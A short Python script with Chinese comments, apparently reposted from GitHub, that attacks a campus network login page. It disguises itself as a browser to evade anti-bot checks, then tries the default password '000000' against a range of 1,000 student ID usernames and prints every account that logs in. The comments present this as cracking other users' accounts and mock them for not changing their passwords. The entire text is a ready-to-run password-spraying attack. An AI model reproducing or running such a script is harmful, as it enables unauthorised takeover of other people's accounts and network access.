# 源于Github的一段源码,编写的比较规范,应该是专业选手! # encoding:utf-8 __author__ = 'www.yeayee.com' # 由本站增加注释,可随意Fork、Copy import requests # 用来请求网络的模块 import hashlib # 用来加密的模块 # 登录页的url url = 'http://10.0.0.55/cgi-bin/do_login' # 有些网站反爬虫,这里用headers把程序伪装成浏览器 # 部分网站如果登陆实在难以搞定,那么用cookie也是极好的 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'} def md5(str): # md5加密 m = hashlib.md5() m.update(str) return m.hexdigest() def login(form_data): # 网址请求并获取内容 s = requests.session() response = s.post(url, data=form_data, headers=header) return response.content def tryAccount(id_start, id_end, default_pass): # 登录需要提交的表单,格式为字典 form_data = {'username': 'XXXXXX', # 填入网站的用户名 'password': 'XXXXXX', # 填入网站密码(加密后的),这两行会被随后的命令赋值,因此可以省略 'drop': 0, 'type': 1, 'n': 100 } passwd = md5(default_pass)[8:24] form_data['password'] = passwd # 将加密后的密码填入表单 for i in range(id_start, id_end): form_data['username'] = str(i) # 将用户名填入表单 result = login(form_data) # 登录,获取返回的 response 结果 if result != 'password_error' and result != 'username_error': print (str(i) + " " + result) # 打印账号、密码正确的学号... print(" 上网不设密,活该被破解!") if __name__ == "__main__": ID_START = 1120130000 # 起始学号 ID_END = 1120131000 # 结束学号1000测试号码 DEFAULT_PASS = "000000" # 初始密码 tryAccount(ID_START, ID_END, DEFAULT_PASS)